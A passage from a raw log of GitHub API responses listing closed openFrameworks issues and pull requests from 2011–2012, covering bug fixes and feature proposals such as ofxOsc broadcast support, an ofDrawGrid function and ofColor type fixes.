device","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-05-17T15:01:04Z","created_at":"2011-08-30T20:22:04Z","state":"closed","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1524220,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-30T15:55:27Z","body":"i believe the code posted here is patched for both those requirements:\r\n\r\nhttps://github.com/kylemcdonald/DohaInstallation/tree/master/addons/ofxOsc/libs/oscpack/src\r\n\r\ni have access to the oscpack repo and need to submit the changes + test across systems.\r\n\r\nalso, some discussion here: http://forum.openframeworks.cc/index.php/topic,1625.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/722","comments":28,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":70,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":722,"html_url":"https://github.com/openframeworks/openFrameworks/issues/722","assignee":null,"title":"ofxOsc needs broadcast + multiple clients on single port","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-04-30T15:55:27Z","created_at":"2011-08-28T15:07:16Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1503930,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-08T13:27:53Z","body":"added to of3dUtils.cpp/h\r\n\r\nvoid ofDrawGrid(float size) {\r\n\tofPushStyle();\r\n\t\r\n\tconst float gridCount = 5.0f;\r\n\tconst ofVec3f dx(size / gridCount, 0, 0);\r\n\tconst ofVec3f dX(size, 0, 0);\r\n\tconst ofVec3f dz(0, 0, size / gridCount);\r\n\tconst ofVec3f dZ(0, 0, size);\r\n\t\r\n\tofSetLineWidth(2);\r\n\tfor (int i=-gridCount; i<=gridCount; i+=gridCount)\r\n\t{\r\n\t\tofLine(dx*i-dZ,dx*i+dZ);\r\n\t\tofLine(dz*i-dX,dz*i+dX);\r\n\t}\r\n\t\r\n\tofSetLineWidth(1);\r\n\tfor (int i=1-gridCount; i<=gridCount-1; ++i)\r\n\t{\r\n\t\tofLine(dx*i-dZ,dx*i+dZ);\r\n\t\tofLine(dz*i-dX,dz*i+dX);\r\n\t}\r\n\t\r\n\tofPopStyle();\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/718","comments":1,"milestone":null,"number":718,"html_url":"https://github.com/openframeworks/openFrameworks/issues/718","assignee":null,"title":"suggest ofDrawGrid()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-03-08T13:27:53Z","created_at":"2011-08-22T16:12:22Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1459045,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-21T20:08:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/715","comments":0,"milestone":null,"number":715,"html_url":"https://github.com/openframeworks/openFrameworks/issues/715","assignee":null,"title":"ensuring that after an update to the ofPixels of an ofImage, the update() updates the texture too","labels":[],"closed_at":"2011-08-21T20:08:09Z","created_at":"2011-08-21T18:04:01Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":1453487,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/715.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/715","diff_url":"https://github.com/openframeworks/openFrameworks/pull/715.diff"}},{"updated_at":"2011-08-17T14:16:12Z","body":"bunch of fixes to make short/float ofImages and ofColors more usable.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/714","comments":1,"milestone":null,"number":714,"html_url":"https://github.com/openframeworks/openFrameworks/issues/714","assignee":null,"title":"color swapping for short/float and fixing 255f related bugs for short/float","labels":[],"closed_at":"2011-08-17T14:16:04Z","created_at":"2011-08-17T10:40:58Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1422123,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/714.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/714","diff_url":"https://github.com/openframeworks/openFrameworks/pull/714.diff"}},{"updated_at":"2011-08-17T14:16:05Z","body":"setColor, getColor, color conversion from hsb, etc is mostly broken for ofFloatColor and ofShortColor because there are a lot of 255.0fs hard coded into ofColor.h and ofColor.cpp. one alternative is to create a static templated limit() function that returns the max value for each type. this also cleans up copyFrom(). i'll take a shot at this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/713","comments":0,"milestone":null,"number":713,"html_url":"https://github.com/openframeworks/openFrameworks/issues/713","assignee":null,"title":"ofColor is littered with 255.0fs","labels":[],"closed_at":"2011-08-17T14:16:05Z","created_at":"2011-08-17T09:34:58Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1421761,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-17T10:40:46Z","body":"fixes a bug where float and unsigned short images are unnecessarily swapped when loaded/saved.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/712","comments":0,"milestone":null,"number":712,"html_url":"https://github.com/openframeworks/openFrameworks/issues/712","assignee":null,"title":"closes #710 by adding conditions for only swapping on 8-bit images.","labels":[],"closed_at":"2011-08-17T10:40:46Z","created_at":"2011-08-17T06:55:48Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1421044,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/712.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/712","diff_url":"https://github.com/openframeworks/openFrameworks/pull/712.diff"}},{"updated_at":"2012-04-10T08:29:52Z","body":"opencv2.3 headers + iinux64 & android don't merge it till there's no binaries for at least osx in case it breaks the repo","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/709","comments":15,"milestone":null,"number":709,"html_url":"https://github.com/openframeworks/openFrameworks/issues/709","assignee":null,"title":"opencv2.3","labels":[],"closed_at":"2012-02-25T18:20:39Z","created_at":"2011-08-12T10:22:26Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1393925,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/709.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/709","diff_url":"https://github.com/openframeworks/openFrameworks/pull/709.diff"}},{"updated_at":"2012-02-25T18:21:38Z","body":"supposedly fixes normals but haven't tested myself. juliolucio sent me the fixes","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/708","comments":0,"milestone":null,"number":708,"html_url":"https://github.com/openframeworks/openFrameworks/issues/708","assignee":null,"title":"Bugfix 3d model loader normals","labels":[],"closed_at":"2012-02-25T18:21:38Z","created_at":"2011-08-12T10:21:05Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1393918,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/708.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/708","diff_url":"https://github.com/openframeworks/openFrameworks/pull/708.diff"}},{"updated_at":"2011-08-12T10:20:31Z","body":"supposedly fixes normals but haven't tested myself. juliolucio sent me the fixes","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/707","comments":1,"milestone":null,"number":707,"html_url":"https://github.com/openframeworks/openFrameworks/issues/707","assignee":null,"title":"Bugfix 3d model loader normals","labels":[],"closed_at":"2011-08-12T10:20:31Z","created_at":"2011-08-12T10:19:42Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1393909,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/707.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/707","diff_url":"https://github.com/openframeworks/openFrameworks/pull/707.diff"}},{"updated_at":"2011-08-09T12:29:35Z","body":"Seeing as many people use git in their project, it makes sense to exclude this directory to ignore it during compilation.\r\nI think that's reasonable, I just noticed in the make output that it seems to be crawling through .git, that's what gave me the idea.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/706","comments":1,"milestone":null,"number":706,"html_url":"https://github.com/openframeworks/openFrameworks/issues/706","assignee":null,"title":"Ignore a potential .git directory during make.","labels":[],"closed_at":"2011-08-09T12:27:58Z","created_at":"2011-08-09T12:23:45Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1371935,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/706.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/706","diff_url":"https://github.com/openframeworks/openFrameworks/pull/706.diff"}},{"updated_at":"2011-08-09T12:13:35Z","body":"fixed all the issues detected by CheckJNI","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/705","comments":0,"milestone":null,"number":705,"html_url":"https://github.com/openframeworks/openFrameworks/issues/705","assignee":null,"title":"CheckJNI fixes for ofxAndroid","labels":[],"closed_at":"2011-08-09T12:13:35Z","created_at":"2011-08-09T11:38:13Z","state":"closed","user":{"url":"https://api.github.com/users/mbosi","gravatar_id":"68e7c7fd68a25d311e6c0ac6bba7042e","login":"mbosi","avatar_url":"https://secure.gravatar.com/avatar/68e7c7fd68a25d311e6c0ac6bba7042e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":207906},"id":1371719,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/705.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/705","diff_url":"https://github.com/openframeworks/openFrameworks/pull/705.diff"}},{"updated_at":"2011-08-09T12:15:08Z","body":"I had a client and server connected. Upon closing the client, the console on the server gets flooded with ECONNRESET messages.\r\n\r\nIn ofxTCPClient::receive() line 192, I changed the check to use ofxNetworkCheckError to check for errors. Using the errno macro directly does not check the target platform, but ofxNetworkCheckError does check for platform and then uses errno macro if not a WIN_32 machine. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/704","comments":0,"milestone":null,"number":704,"html_url":"https://github.com/openframeworks/openFrameworks/issues/704","assignee":null,"title":"ofxTCPClient receive() connection reset check platform independence","labels":[],"closed_at":"2011-08-09T12:15:08Z","created_at":"2011-08-08T18:42:54Z","state":"closed","user":{"url":"https://api.github.com/users/SnareHanger","gravatar_id":"2f1d676cd19be8a80686276873288310","login":"SnareHanger","avatar_url":"https://secure.gravatar.com/avatar/2f1d676cd19be8a80686276873288310?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":193882},"id":1367206,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/704.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/704","diff_url":"https://github.com/openframeworks/openFrameworks/pull/704.diff"}},{"updated_at":"2012-03-13T14:40:35Z","body":"ofMesh has a few methods declared in ofMesh.h that are missing in ofMesh.cpp\r\n\r\nremoveVertex\r\nremoveNormal\r\nremoveColor\r\nremoveTexCoord\r\nremoveIndex","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/703","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":70,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":703,"html_url":"https://github.com/openframeworks/openFrameworks/issues/703","assignee":null,"title":"ofMesh remove* methods not in implemention","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-13T14:40:35Z","created_at":"2011-08-07T18:33:00Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":150037},"id":1361371,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-09T12:16:12Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/696","comments":0,"milestone":null,"number":696,"html_url":"https://github.com/openframeworks/openFrameworks/issues/696","assignee":null,"title":"Allow the project creation script to work with different PREFIX","labels":[],"closed_at":"2011-08-09T12:16:12Z","created_at":"2011-08-02T19:10:06Z","state":"closed","user":{"url":"https://api.github.com/users/grimreaper","gravatar_id":"76a48f348109c77a429491cddc428459","login":"grimreaper","avatar_url":"https://secure.gravatar.com/avatar/76a48f348109c77a429491cddc428459?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":433817},"id":1332469,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/696.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/696","diff_url":"https://github.com/openframeworks/openFrameworks/pull/696.diff"}},{"updated_at":"2011-08-05T16:53:49Z","body":"Hei\r\n\r\nI am using this model loader and i found a rotation and translation in the draw method.\r\nShouldt it be removed from there?\r\n\r\nI want the model like it is when i build it i the modeling software.\r\n\r\n\r\n\r\n glEnable(GL_NORMALIZE);\r\n\r\n ofPushMatrix();\r\n\r\n ofTranslate(pos);\r\n\r\n //ofRotate(180, 0, 0, 1);\r\n //ofTranslate(-scene_center.x, -scene_center.y, scene_center.z);\r\n\r\n if(normalizeScale)\r\n {\r\n ofScale(normalizedScale , normalizedScale, normalizedScale);\r\n }\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/695","comments":1,"milestone":null,"number":695,"html_url":"https://github.com/openframeworks/openFrameworks/issues/695","assignee":null,"title":"ofxAssimpModelLoader::draw","labels":[],"closed_at":"2011-08-05T16:53:49Z","created_at":"2011-08-02T13:05:24Z","state":"closed","user":{"url":"https://api.github.com/users/juliolucio","gravatar_id":"01004afde74eb6d67c920c4b9c878239","login":"juliolucio","avatar_url":"https://secure.gravatar.com/avatar/01004afde74eb6d67c920c4b9c878239?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":356169},"id":1329765,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-09T15:22:44Z","body":"updated everything in fedora folder to how we do it in other distros.\r\nI needed to add some additional linker flags to the Makefile template.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/694","comments":0,"milestone":null,"number":694,"html_url":"https://github.com/openframeworks/openFrameworks/issues/694","assignee":null,"title":"updated fedora install scripts","labels":[],"closed_at":"2011-08-09T15:22:44Z","created_at":"2011-08-01T22:07:03Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1326292,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/694.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/694","diff_url":"https://github.com/openframeworks/openFrameworks/pull/694.diff"}},{"updated_at":"2011-08-09T15:27:17Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/693","comments":0,"milestone":null,"number":693,"html_url":"https://github.com/openframeworks/openFrameworks/issues/693","assignee":null,"title":"ofRectangle: Added ofPoint-based constructor to be consistent with the corresponding set(ofPoint ...) function.","labels":[],"closed_at":"2011-08-09T15:27:17Z","created_at":"2011-08-01T00:14:07Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1320040,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/693.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/693","diff_url":"https://github.com/openframeworks/openFrameworks/pull/693.diff"}},{"updated_at":"2011-08-02T04:50:33Z","body":"it looks like Poco needs to be recompiled for OF to run on 10.5: http://forum.openframeworks.cc/index.php/topic,6351.msg32361.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/692","comments":2,"milestone":null,"number":692,"html_url":"https://github.com/openframeworks/openFrameworks/issues/692","assignee":null,"title":"007 not compiling on 10.5?","labels":[],"closed_at":"2011-08-02T04:50:33Z","created_at":"2011-07-31T19:55:28Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1319328,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-01T07:59:53Z","body":"MacOSX 10.6.8 and Windows 7 both demonstrate the same behavior - attempting to unZIP the archive as downloaded provides only the ADDONS folder - OR... delivers a file name \"openFrameworks-007-20-gfc5c3f2.zip.cpgz\" - which then does not unZIP as expected. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/691","comments":3,"milestone":null,"number":691,"html_url":"https://github.com/openframeworks/openFrameworks/issues/691","assignee":null,"title":"ZIP Wrapper does not unzip","labels":[],"closed_at":"2011-07-31T18:37:10Z","created_at":"2011-07-29T15:11:37Z","state":"closed","user":{"url":"https://api.github.com/users/notarysojac","gravatar_id":"95d9b2de090b399e8f22a30ac3ef07ae","login":"notarysojac","avatar_url":"https://secure.gravatar.com/avatar/95d9b2de090b399e8f22a30ac3ef07ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":799437},"id":1310651,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-08-09T15:24:33Z","body":"closes #688","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/690","comments":1,"milestone":null,"number":690,"html_url":"https://github.com/openframeworks/openFrameworks/issues/690","assignee":null,"title":"fixed a typo with the output setting on iphone sound","labels":[],"closed_at":"2011-08-09T15:24:33Z","created_at":"2011-07-29T11:37:43Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1309486,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/690.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/690","diff_url":"https://github.com/openframeworks/openFrameworks/pull/690.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=17&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('content-length', '32093'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9768ee22891453bd6fad21062a499f8d"'), ('date', 'Tue, 29 May 2012 18:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-07-29T11:37:00Z","body":"closes #688","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/689","comments":1,"milestone":null,"number":689,"html_url":"https://github.com/openframeworks/openFrameworks/issues/689","assignee":null,"title":"fixed a typo with the output setting on iphone sound","labels":[],"closed_at":"2011-07-29T11:37:00Z","created_at":"2011-07-29T10:45:28Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":1309299,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/689","patch_url":"https://github.com/openframeworks/openFrameworks/pull/689.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/689.diff"}},{"updated_at":"2011-07-29T13:12:01Z","body":"there is a typo in ofxiphonesoundstream, patch coming in momentarily.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/688","comments":0,"milestone":null,"number":688,"html_url":"https://github.com/openframeworks/openFrameworks/issues/688","assignee":null,"title":"audio output not working on iphone","labels":[],"closed_at":"2011-07-29T13:12:01Z","created_at":"2011-07-29T10:43:17Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":1309289,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-08-09T15:25:14Z","body":"needed for accessing the fov of cameras if it's set somewhere else","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/687","comments":0,"milestone":null,"number":687,"html_url":"https://github.com/openframeworks/openFrameworks/issues/687","assignee":null,"title":"added getFov() to ofCamera","labels":[],"closed_at":"2011-08-09T15:25:14Z","created_at":"2011-07-28T17:51:28Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434},"id":1304538,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/687","patch_url":"https://github.com/openframeworks/openFrameworks/pull/687.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/687.diff"}},{"updated_at":"2011-07-28T17:50:18Z","body":"otherwise there's no way to query the fov of a camera, even though you can set it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/686","comments":0,"milestone":null,"number":686,"html_url":"https://github.com/openframeworks/openFrameworks/issues/686","assignee":null,"title":"added getFov() to ofCamera","labels":[],"closed_at":"2011-07-28T17:50:18Z","created_at":"2011-07-28T17:47:26Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434},"id":1304516,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/686","patch_url":"https://github.com/openframeworks/openFrameworks/pull/686.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/686.diff"}},{"updated_at":"2012-03-12T13:27:45Z","body":"The error is that \"File owner\" is linked to a wrong class name: \"MyMusicView\". And this should be linked to \"MyGuiView\". It is a small error but for people with not too many experience with Interface builder can be problematic.\r\n\r\nDescribe in this forum post:\r\nhttp://forum.openframeworks.cc/index.php/topic,6279.msg32194.html#msg32194","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/683","comments":1,"milestone":null,"number":683,"html_url":"https://github.com/openframeworks/openFrameworks/issues/683","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"small bug in OF iphone example: \"iPhoneGuiExample\" ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-12T13:27:45Z","created_at":"2011-07-28T12:03:51Z","state":"closed","user":{"url":"https://api.github.com/users/mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","id":308759},"id":1302334,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-29T11:43:37Z","body":"just adapted the archway :)\r\n\r\nfixes: http://forum.openframeworks.cc/index.php/topic,6864.msg32124.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/682","comments":0,"milestone":null,"number":682,"html_url":"https://github.com/openframeworks/openFrameworks/issues/682","assignee":null,"title":"fixed bug in ubuntu instell_dep script if user isn't in standard 